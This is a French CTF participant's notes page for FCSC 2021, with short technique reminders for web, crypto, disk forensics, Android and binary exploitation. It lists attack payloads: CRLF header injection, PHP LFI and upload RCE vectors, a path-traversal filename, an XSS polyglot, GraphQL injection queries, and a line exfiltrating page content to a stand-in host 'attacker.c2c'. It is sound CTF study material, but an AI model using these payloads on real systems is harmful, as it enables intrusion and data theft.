FCSC (French CyberSec Challenge) 2021

FCSC 2021

Ceci n'est pas un writeup/compte-rendu du CTF.
Ne se trouvent sur cette page que de courtes notes/pistes/méthodes qui m'auraient permis de résoudre plus de challenges.

Résultats:
Points: ?? (j'ai oublié de le noter…)
456e/1380 au classement général
173e/563 au classement "hors catégorie"
Pour les deux classements, je ne tiens compte que de ceux ayant scoré 1 flag au moins

Les clefs des flags

Web

HTTP packet injection

Via le path/query string de l'URL (SSRF Header injection via CVE-2016-5699 in Python)

GET /whatever? HTTP/2 X-Custom: Whatever X-whatever: HTTP/2 Host: lalala ...
Payload via l'URL /whatever?%20HTTP/2%0D%0AX-Custom:%20Whatever%0D%02X-whatever:
PHP LFI

PHP LFI include($_GET[...]):
local path (flag.php) ou remote path (http://...) ou php://filter/convert.base64-encode/resource=flag.php
Flags potentiellement en $_SESSION
RCE via file upload + C:\Windows\tempt\php<< (FindFirstFile quirk) ou via n'importe quel autre file (user session, regular upload, avatar,...)

PHP RCE possible: php -r 'print_r(file_get_contents("flag.php"));'
(utile si cat, xxd, head, tail etc ne sont pas dispo sur la machine vulnérable)

Générique

Si l'upload de fichier conserve le nom d'origine, alors ..%2Ftruc.png est un bon nom
JS/GIF polyglott: GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Exfiltration de données via URL "//attacker.c2c/?" + btoa(document.body.innerHTML)

Crypto

RSA: (m^e)%n
Via xcas irem(m**e,n); déchiffrement via factorisation première ifactor(N)
voir aussi le flag RSA destroyer et RSA CTF tool pour casser une clef publique faible

import codecs et codecs.decode(output[0:32].decode('ascii'), 'hex') avec output = open('...', 'rb').read()[:-1] pour décoder une partie d'une chaine hexa -> ascii (cf laPIN)

Morse: 5 signes pour les chiffres, 4 ou moins pour les lettres

x XOR x = 0, ce qui peut drastiquement simplifier certains algos de chiffrements par blocs

Courbes elliptiques, cf wikipedia ou Lost Curve flag

PDF SHA1 collider

Shattered paper; http://alf.nu/SHA1

GraphQL injection

"}}]}) { nodes { nodeName, node2... } } evaluate{ }#
Table list: {__schema { types { name } } }
Fields list: {__type(name:"FlagTable") { name fields { name type { name kind } } } }

Disque Forensic

Ne pas mixer sudo/non-sudo entre (ewf)mount et parted (sinon, access right error):
mkdir ./mount-pt; (sudo )ewfmount file.e01 ./mount-pt; (sudo )parted ./mount-pt/ewf1
kpartx -av ./mount-pt/ewf1 pour mount

Les strings en forensic peuvent être 8/16/32 bits little/big endian:
strings -e S/b/l/B/L file.img | grep 'FCSC' respectivement 8bits/16bits BE/16b LE/32BE/32LE

mmls disque.e0*: partition layout of a volume system
fls disque.e01 -o 2048: liste les fichiers alloués, -o = offset de la partition (issu de mmls)
icat disque.e01 -o 2048 15 > out.zip: extraire le fichier n°15 (index de fls)

Android

jadx pour décompiler apk vers Java (attention: full path requis, et output dire requis):
jadx -d /home/dragon/.../output-dir /home/dragon/.../file.apk

Binary exploits

Vérifier les options de compilation (sécurité) d'un binaire: checksec --file=executable-file (package sudo apt install checksec)

Limites d'un process (CPU, opened file descriptors, etc): ulimit -a (view), prlimit ... ./executable-file-to-run (set)

Blind ROP (Return Oriented Programming): "Blind date flag" ainsi que "Reporter flag" ( alertnative writeup ) et "Encrypted shellcode" (voir aussi un générateur de strings non-répétitive pour déterminer la longueur du buffer)

Miasm, reverse engineering framework in python for binaries

Toolbox

⇇ Retour à l'accueil